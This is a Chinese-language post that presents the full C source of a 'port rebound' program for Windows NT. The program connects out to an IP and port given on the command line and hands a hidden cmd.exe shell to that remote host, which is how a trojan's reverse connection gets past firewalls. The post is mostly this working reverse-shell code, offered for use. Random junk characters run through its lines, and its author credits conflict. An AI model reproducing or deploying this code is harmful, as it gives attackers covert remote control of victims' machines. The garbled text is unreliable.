Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 $&KkZ  
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/* ============================== pIYXYQ=Z  
Rebound port in Windows NT G43r85LO  
By wind,2006/7 {P_7AM  
===============================*/ Fkq^2o ]  
#include _nxH
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#include T&b_*)=S  
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#pragma comment(lib,"wsock32.lib") c-n/E. E  
e t@:-}  
void OutputShell(); #(i pF  
SOCKET sClient; ~a&VsC#  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; J|%bRLX@>  
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void main(int argc,char **argv) Ot:}Ncq^\O  
{ B.~] 7H5"(  
WSADATA stWsaData; ; D/6e6  
int nRet; dl6U]v=  
SOCKADDR_IN stSaiClient,stSaiServer; dt+r P%  
hh*('n>[  
if(argc != 3) h&}iH  
{ i.`n^R;N  
printf("Useage:\n\rRebound DestIP DestPort\n"); 150-'Q  
return; N fG9a~  
} $uyx  
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WSAStartup(MAKEWORD(2,2),&stWsaData); k,k>w#&  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1# z@D(  
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stSaiClient.sin_family = AF_INET; ka8Y+Gs  
stSaiClient.sin_port = htons(0); b.@4yW  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); m_@XoS yxI  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !Hl]&  
{ l!&ik9m  
printf("Bind Socket Failed!\n"); ih^FH>@  
return; oZd3H  
} ~&Ne P  
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stSaiServer.sin_family = AF_INET; m|c[C\)By  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vgD
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); GQ7uxdqWBQ  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) U&Vu%+B  
{ gD4vV'|  
printf("Connect Error!"); dpylJ2  
return; 18QqZ,t  
} uW=G1 *n-  
OutputShell(); O#=%t  
} -eyF9++`  
dM= &?g  
void OutputShell() s-PS]l@  
{ W0~G`A(:;  
char szBuff[1024]; >V27#L2:J  
SECURITY_ATTRIBUTES stSecurityAttributes; bp=r]nO  
OSVERSIONINFO stOsversionInfo; 
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jHn7H)F8  
STARTUPINFO stStartupInfo; %]DA4W  
char *szShell; =&$z Nc4h  
PROCESS_INFORMATION stProcessInformation; c3g`k"3*`  
unsigned long lBytesRead; ?Y,^Moc:  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z_m<x!  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 62zu;p9m  
stSecurityAttributes.lpSecurityDescriptor = 0; m}s.a.x  
stSecurityAttributes.bInheritHandle = TRUE; Rk3 bZvj3  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); mY4pvpZw8  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ".(vR7u'  
d8w3Oz54  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); prz COw  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :ZIa   
stStartupInfo.wShowWindow = SW_HIDE; pa+'0Y]71  
stStartupInfo.hStdInput = hReadPipe; bHv"
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?{B5gaU9F  
p8%qU>~+4  
GetVersionEx(&stOsversionInfo); n-"(~  
ka\{?:r,8  
switch(stOsversionInfo.dwPlatformId) W3/bM>1  
{ O=RS</01!  
case 1: fPUr O  
szShell = "command.com"; *S:~U  
break; 89(qU  
default: pQ:^ ziwa3  
szShell = "cmd.exe"; 6` TwP\!$/  
break; Z}uY%]  
} )-Hs]D:  
}" vxYB!h3  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); wb?k  
ge GhM>G  
send(sClient,szMsg,77,0); [=q/f2_1.  
while(1) NF6xKwRU]_  
{ {Fw"y %a^  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Si?s69  
if(lBytesRead) -GPJ,S V>  
{ Nyy&'\`!  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);
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send(sClient,szBuff,lBytesRead,0); HC6U_d1-6  
} EXr2d"  
else Nb&j?./  
{ 3U{ mC}F  
lBytesRead=recv(sClient,szBuff,1024,0); d,98W=7  
if(lBytesRead<=0) break; ',0:/jSz  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); m.Zy$SDj(  
} y2#>a8SRS  
} nJN-U+)u  
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return; ]wU/yc)e  
}